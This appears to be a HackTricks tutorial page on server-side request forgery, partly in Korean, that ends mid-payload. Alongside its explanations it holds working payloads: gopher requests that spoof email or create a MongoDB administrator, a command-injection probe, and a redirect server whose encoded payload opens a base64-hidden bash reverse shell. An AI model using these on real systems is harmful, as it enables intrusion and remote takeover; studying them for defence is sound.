SSRF (Server Side Request Forgery)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

A Server-side Request Forgery (SSRF) vulnerability occurs when an attacker manipulates a server-side application into making HTTP requests to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.

Capture SSRF

๋จผ์ € ํ•ด์•ผ ํ•  ์ผ์€ ์ž์‹ ์ด ๋ฐœ์ƒ์‹œํ‚จ SSRF ์ƒํ˜ธ์ž‘์šฉ์„ ์บก์ฒ˜ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. HTTP ๋˜๋Š” DNS ์ƒํ˜ธ์ž‘์šฉ์„ ์บก์ฒ˜ํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Whitelisted Domains Bypass

๋Œ€๋ถ€๋ถ„ SSRF๋Š” ํŠน์ • ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋„๋ฉ”์ธ์ด๋‚˜ URL์—์„œ๋งŒ ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ํŽ˜์ด์ง€์—๋Š” ํ•ด๋‹น ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋ฒ• ๋ชจ์Œ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

URL Format Bypass

Bypass via open redirect

์„œ๋ฒ„๊ฐ€ ์ œ๋Œ€๋กœ ๋ณดํ˜ธ๋˜์–ด ์žˆ๋”๋ผ๋„ ์›นํŽ˜์ด์ง€ ๋‚ด์˜ Open Redirect๋ฅผ ์•…์šฉํ•˜๋ฉด ๋ชจ๋“  ์ œํ•œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์›นํŽ˜์ด์ง€๊ฐ€ ๊ฐ™์€ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ SSRF๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์•„๋งˆ๋„ ๋ฆฌ๋””๋ ‰์…˜์„ ๋”ฐ๋ผ๊ฐˆ ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์—, Open Redirect๋ฅผ ์ด์šฉํ•ด ์„œ๋ฒ„๊ฐ€ ๋‚ด๋ถ€ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: https://portswigger.net/web-security/ssrf

Protocols

  • file://
  • The URL scheme file:// is referenced, pointing directly to /etc/passwd: file:///etc/passwd
  • dict://
  • The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to โ€˜generic.comโ€™ on port โ€˜12346โ€™ for the file โ€˜TESTUDPPACKETโ€™: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • SSRF๊ฐ€ curl๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ, curl์—๋Š” URL globbing์ด๋ผ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ์–ด WAFs๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ด writeup์—์„œ path traversal via file protocol์— ๋Œ€ํ•œ ์˜ˆ์‹œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopher ํ”„๋กœํ† ์ฝœ์ด ์„œ๋ฒ„ ํ†ต์‹ ์„ ์œ„ํ•ด IP, port and bytes๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ๊ณผ, payloads๋ฅผ ์ œ์ž‘ํ•˜๊ธฐ ์œ„ํ•œ Gopherus ๋ฐ remote-method-guesser ๊ฐ™์€ ๋„๊ตฌ๋“ค์ด ์„ค๋ช…๋œ๋‹ค. ๋‘ ๊ฐ€์ง€ ์‚ฌ์šฉ ์‚ฌ๋ก€๊ฐ€ ์˜ˆ์‹œ๋กœ ์ œ์‹œ๋œ๋‹ค:

Gopher://

์ด ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ IP, port and bytes๋ฅผ sendํ•˜๋„๋ก ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ๊ธฐ๋ณธ์ ์œผ๋กœ SSRF๋ฅผ ์•…์šฉํ•ด communicate with any TCP serverํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋‹จ, ๋จผ์ € ์„œ๋น„์Šค์™€ ์–ด๋–ป๊ฒŒ ํ†ต์‹ ํ•˜๋Š”์ง€ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค).
๋‹คํ–‰ํžˆ๋„ Gopherus๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์—ฌ๋Ÿฌ ์„œ๋น„์Šค์šฉ payloads๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, remote-method-guesser๋Š” gopher payloads๋ฅผ Java RMI ์„œ๋น„์Šค์šฉ์œผ๋กœ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP โ€” 1337์œผ๋กœ Back connect

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB โ€“ username=admin, password=admin123, permission=administrator ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž ์ƒ์„ฑ

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF๋ฅผ ํ†ตํ•œ Referrer header & ๊ธฐํƒ€

์„œ๋ฒ„์— ์„ค์น˜๋œ ๋ถ„์„ ์†Œํ”„ํŠธ์›จ์–ด๋Š” ์ข…์ข… ๋“ค์–ด์˜ค๋Š” ๋งํฌ๋ฅผ ์ถ”์ ํ•˜๊ธฐ ์œ„ํ•ด Referrer header๋ฅผ ๋กœ๊ทธ์— ๋‚จ๊น๋‹ˆ๋‹ค. ์ด ๊ด€ํ–‰์€ ์˜๋„์น˜ ์•Š๊ฒŒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ Server-Side Request Forgery (SSRF) ์ทจ์•ฝ์ ์— ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํ•ด๋‹น ์†Œํ”„ํŠธ์›จ์–ด๊ฐ€ Referrer header์— ๋ช…์‹œ๋œ ์™ธ๋ถ€ URL์„ ๋ฐฉ๋ฌธํ•˜์—ฌ ์ถ”์ฒœ ์‚ฌ์ดํŠธ์˜ ๋‚ด์šฉ์„ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋‚ด๊ธฐ ์œ„ํ•ด, ๋ถ„์„ ๋„๊ตฌ๋“ค์ด Referer header๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์„ ํ™œ์šฉํ•˜๋Š” Burp Suite ํ”Œ๋Ÿฌ๊ทธ์ธ Collaborator Everywhere๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์ž ์žฌ์ ์ธ SSRF ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

์ธ์ฆ์„œ์˜ SNI ๋ฐ์ดํ„ฐ๋ฅผ ํ†ตํ•œ SSRF

๊ฐ„๋‹จํ•œ ์„ค์ •์œผ๋กœ ์ž„์˜์˜ ๋ฐฑ์—”๋“œ์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋Š” ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์˜ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ์˜ Nginx ๊ตฌ์„ฑ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

์ด ๊ตฌ์„ฑ์—์„œ๋Š” Server Name Indication (SNI) ํ•„๋“œ์˜ ๊ฐ’์ด backend์˜ ์ฃผ์†Œ๋กœ ์ง์ ‘ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ Server-Side Request Forgery (SSRF) ์ทจ์•ฝ์ ์„ ๋…ธ์ถœํ•˜๋ฉฐ, SNI ํ•„๋“œ์— ์›ํ•˜๋Š” IP ์ฃผ์†Œ๋‚˜ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์ง€์ •ํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” openssl ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด internal.host.com ๊ฐ™์€ ์ž„์˜์˜ backend์— ์—ฐ๊ฒฐ์„ ๊ฐ•์ œํ•˜๋Š” ์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

์ผ๋ถ€ TLS ์Šคํƒ์€ ํ”ผ์–ด ์ธ์ฆ์„œ ๋‚ด๋ถ€์˜ Authority Information Access (AIA) โ†’ CA Issuers URI๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ˆ„๋ฝ๋œ ์ค‘๊ฐ„ CA๋ฅผ ์ž๋™์œผ๋กœ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. Java์—์„œ mTLS ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•˜๋ฉด์„œ -Dcom.sun.security.enableAIAcaIssuers=true๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ํ•ธ๋“œ์…ฐ์ดํฌ ๋„์ค‘์— ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ์„œ์˜ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” URI๋ฅผ ์—ญ์ฐธ์กฐํ•˜๊ฒŒ ๋˜์–ด HTTP ๋กœ์ง์ด ์‹คํ–‰๋˜๊ธฐ ์ „์— ์š”์ฒญ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

  • Requirements: mTLS ํ™œ์„ฑํ™”, Java AIA fetching ํ™œ์„ฑํ™”, ๊ณต๊ฒฉ์ž๊ฐ€ ์กฐ์ž‘๋œ AIA CA Issuers URI๊ฐ€ ํฌํ•จ๋œ ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ์„œ๋ฅผ ์ œ์‹œํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ.
  • SSRF ์œ ๋ฐœ (Java 21 ์˜ˆ):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Java์˜ certpath debug ์ถœ๋ ฅ์€ CertStore URI:http://localhost:8080๋ฅผ ๋ณด์—ฌ์ฃผ๋ฉฐ, nc๋Š” -Dhttp.agent์—์„œ ์ œ์–ด ๊ฐ€๋Šฅํ•œ User-Agent์™€ ํ•จ๊ป˜ HTTP ์š”์ฒญ์„ ์บก์ฒ˜ํ•˜์—ฌ ์ธ์ฆ์„œ ๊ฒ€์ฆ ์ค‘ SSRF๊ฐ€ ๋ฐœ์ƒํ–ˆ์Œ์„ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค.

  • DoS via file://: AIA CA Issuers๋ฅผ file:///dev/urandom์œผ๋กœ ์„ค์ •ํ•˜๋ฉด Unix ๊ณ„์—ด ํ˜ธ์ŠคํŠธ์—์„œ Java๊ฐ€ ์ด๋ฅผ CertStore๋กœ ์ทจ๊ธ‰ํ•ด ๋ฌดํ•œํ•œ ๋žœ๋ค ๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด CPU ์ฝ”์–ด๋ฅผ ์ ์œ ํ•˜๋ฉฐ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—ฐ๊ฒฐ์„ ๋Š์€ ํ›„์—๋„ ์ดํ›„ ์—ฐ๊ฒฐ์„ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SSRF via CSS Pre-Processors

LESS๋Š” ๋ณ€์ˆ˜, mixins, functions์™€ ๊ฐ•๋ ฅํ•œ @import ๋””๋ ‰ํ‹ฐ๋ธŒ๋ฅผ ์ œ๊ณตํ•˜๋Š” ์ธ๊ธฐ ์žˆ๋Š” CSS pre-processor์ž…๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ ๊ณผ์ •์—์„œ LESS ์—”์ง„์€ @import ๋ฌธ์—์„œ ์ฐธ์กฐ๋œ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์™€ (inline) ์˜ต์…˜์ด ์‚ฌ์šฉ๋˜๋ฉด ํ•ด๋‹น ๋‚ด์šฉ์„ ๊ฒฐ๊ณผ CSS์— ์ธ๋ผ์ธ์œผ๋กœ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

์•…์šฉ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

LESS Code Injection

Wget file upload

SSRF with Command Injection

๋‹ค์Œ๊ณผ ๊ฐ™์€ payload๋ฅผ ์‹œ๋„ํ•ด๋ณผ ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDF ๋ Œ๋”๋ง

์›น ํŽ˜์ด์ง€๊ฐ€ ์ œ๊ณตํ•œ ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ด ์ž๋™์œผ๋กœ PDF๋ฅผ ์ƒ์„ฑํ•œ๋‹ค๋ฉด, PDF๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ณผ์ •์—์„œ PDF ์ƒ์„ฑ๊ธฐ ์ž์ฒด(์„œ๋ฒ„)์—์„œ ์‹คํ–‰๋  JS๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด SSRF๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ.

SSRF์—์„œ DoS๋กœ

์—ฌ๋Ÿฌ ์„ธ์…˜์„ ๋งŒ๋“ค์–ด ์„ธ์…˜์„ ํ†ตํ•ด SSRF๋ฅผ ์•…์šฉํ•ด ํฐ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•ด ๋ณด์„ธ์š”.

SSRF PHP Functions

์ทจ์•ฝํ•œ PHP ๋ฐ Wordpress ํ•จ์ˆ˜๋Š” ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

PHP SSRF

SSRF Redirect to Gopher

์ผ๋ถ€ ๊ณต๊ฒฉ์—์„œ๋Š” ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ์‘๋‹ต์„ ์ „์†กํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: gopher ๊ฐ™์€ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ ์‚ฌ์šฉ์„ ์œ„ํ•ด). ์•„๋ž˜์—๋Š” ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋กœ ์‘๋‹ตํ•˜๋Š” ๋‹ค์–‘ํ•œ python ์ฝ”๋“œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%